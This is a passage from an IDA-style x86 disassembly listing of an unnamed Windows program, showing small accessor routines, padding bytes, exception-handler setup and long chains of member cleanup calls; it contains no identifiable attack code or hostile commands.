		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
